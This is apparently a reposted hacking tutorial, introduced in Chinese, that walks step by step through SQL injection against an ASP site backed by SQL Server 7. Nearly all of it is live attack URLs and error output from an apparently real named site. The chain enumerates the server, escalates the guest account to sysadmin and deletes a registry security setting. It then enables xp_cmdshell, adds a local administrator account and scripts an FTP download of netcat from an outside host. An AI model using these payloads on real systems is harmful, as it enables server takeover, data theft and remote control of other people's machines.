WEB/SQL分离 利用ODBC注入

一直来很多牛人说可以web/sql分离的情况下，利用odbc来拿本机权限，不过这篇文章好象是连回本地来做测试。不过总算是一个突破
EXAMPLE TO USE:　
http://www.xxxx.com/FullStory.asp?id=1　

Exploiting the hole:　
http://www.xxxx.com/FullStory.asp?id=1’　

Code:　

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’　
[Microsoft][ODBCSQLServerDriver] [SQLServer]　
Unclosed quotation mark before the character string ’’.　
/Including/general.asp, line 840/　



VERSION　
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--　

Code:　

[SQL Server]Syntax error converting the nvarchar value ’Microsoft SQL Server 7.00 - 7.00.1063 (Intel X86) Apr 9 2002 14:18:16 Copyright © 1988-2002 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ’ to a column of data type int.　
/Including/general.asp, line 840　




SERVER NAME　
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@servername)--　

Code:　

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’　
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’UNESCO’ to a column of data type int.　
/Including/general.asp, line 840　




DATABASE NAME　
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--　

Code:　

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’　
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’NhaXinh’ to a column of data type int.　
/Including/general.asp, line 840　

USER　
http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,system_user)--　

Code:　

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’　
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’nhaxinh’ to a column of data type int.　
/Including/general.asp, line 840　




OPENING REMOTE LINK (http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_oa-oz_78z8.asp)　
http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset(’sqloledb’,’’;;,’’)--　

Code:　

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’　
[Microsoft][ODBC SQL Server Driver][SQL Server] Ad hoc access to OLE DB provider ’sqloledb’ has been denied. You must access this provider through a linked server.　
/Including/general.asp, line 840　




GUEST = DB_OWNER :DDD　
http://www.XXXX.com/FullStory.asp?id=1;exec sp_executesql N’create view dbo.test as select * from master.dbo.sysusers’ exec sp_msdropretry ’xx update sysusers set sid=0x01 where name=’’dbo’’’,’xx’ exec sp_msdropretry ’xx update dbo.test set sid=0x01,roles=0x01 where name=’’guest’’’,’xx’ exec sp_executesql N’drop view dbo.test’--　

Code:　

　No result expected, normal page loading　
　Enable us to do sum nice stuff like xp_regwrite e xp_cmdshell　




ADDIN TO "BUILTIN/ADMINISTRATORS"　
http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec sp_executesql N’create view dbo.test as select * from master.dbo.sysxlogins’ exec sp_msdropretry ’xx update sysusers set sid=0x01 where name=’’dbo’’’,’xx’ exec sp_msdropretry ’xx update dbo.test set xstatus=18 where name=’’BUILTIN/ADMINISTRATORS’’’,’xx’ exec sp_executesql N’drop view dbo.test’--　

and then　

http://www.xxxx.com/FullStory.asp?id=1;exec master..sp_addsrvrolemember ’nhaxinh’,sysadmin --　

ENABLE OPENROWSET/OLEDB　
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset(’sqloledb’,’’;;,’’)--　

Code:　

Microsoft OLE DB Provider for ODBC Drivers error ’80004005’　
[Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user ’SYSTEM’.　
/Including/general.asp, line 840　



http://www.xxxx.com/FullStory.asp?id=1;exec master..xp_regdeletevalue ’HKEY_LOCAL_MACHINE’,’SYSTEM/CurrentControlSet/Services/Tcpip/Parameters’,’EnableSecurityFilters’　



ENABLE MASTER..XP_CMDSHELL & "ALLOW UPDATES"　
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset(’sqloledb’, ’server=UNESCO;uid=BUILTIN/Administrators;pwd=’, ’set fmtonly off exec master..sp_addextendedproc xp_cmd,’’xpsql70.dll’’ exec sp_configure ’’allow updates’’, ’’1’’ reconfigure with override’)　

!!PAY ATTETION TO THE SERVER= PARAMETER　

Code:　

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’　
[Microsoft][ODBC SQL Server Driver][SQL Server]Could not process object ’set fmtonly off master..sp_addextendedproc xp_cmd ’xpsql70.dll’ exec sp_configure ’allow updates’, ’1’ reconfigure with override’. The OLE DB provider ’sqloledb’ indicates that the object has no columns.　
/Including/general.asp, line 840　



if dun work try:　
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset(’sqloledb’, ’server=UNESCO;uid=BUILTIN/Administrators;pwd=’, ’set fmtonly off select 1 exec master..sp_addextendedproc xp_cmd,’’xpsql70.dll’’ exec sp_configure ’’allow updates’’, ’’1’’ reconfigure with override’)--　



NOW SCRIPT KIDDIES　


http://www.xxxx.com/FullStory.asp?id=1;drop table t create table t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell ’ipconfig’--　
http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select top 1 b from t where b like ’%25IP Address%25’))-- (%25 == “%”)　

Code:　


Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’　
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’ IP Address. . . . . . . . . . . . : 203.162.7.70 ’ to a column of data type int.　
/Including/general.asp, line 840　


C:/> ping 203.162.7.70　
Pinging 203.162.7.70 with 32 bytes of data:　
Reply from 203.162.7.70: bytes=32 time=232ms TTL=118　
C:/> ftp 203.162.7.70　
Connected to 203.162.7.70.　
220 unesco Microsoft FTP Service (Version 5.0).　
User (203.162.7.70:(none)):　
203.162.7.70 == panvietnam.com　




http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset(’sqloledb’, ’server=UNESCO;uid=BUILTIN/Administrators;pwd=’, ’set fmtonly off select 1 exec xp_cmdshell "net user a /add %26 net localgroup administrators a /add"’)-- (%26 == "&")　

Code:　

C:/> ftp 203.162.7.70　
Connected to 203.162.7.70.　
220 unesco Microsoft FTP Service　
(Version 5.0).　
User (203.162.7.70:(none)): a　
331 Password required for a.　
Password:　
530 User a cannot log in.　
Login failed.　
ftp> bye　




UPLOAD NETCAT LÊN　
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset(’sqloledb’, ’server=UNESCO;uid=BUILTIN/Administrators;pwd=’, ’set fmtonly off select 1 exec master..xp_cmdshell "echo open a.b.c.d %3Ef %26 echo user a a %3E%3Ef %26 echo bin %3E%3Ef %26 echo cd a %3E%3Ef %26 echo mget * %3E%3Ef %26 echo quit %3E%3Ef %26 ftp -v -i -n -s%3Af" %26 del f’)-- (%3E == ">")　

Code:　

echo open a.b.c.d >f　
echo user a a >>f　
echo bin >> f　
echo cd a >>f　
echo mget * >>f　
echo quit >>f　
ftp -v -i -n -s:f　
del f　


http://www.xxxx.com/FullStory.asp?id=1;drop table t create table t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell ’dir nx.exe’--　
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,(select b from t where a=1))--　
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,(select b from t where a=6))--　

Code:　

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’　
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’08/17/2003 11:31a 11,776 nx.exe’ to a column of data type int.　
/Including/general.asp, line 840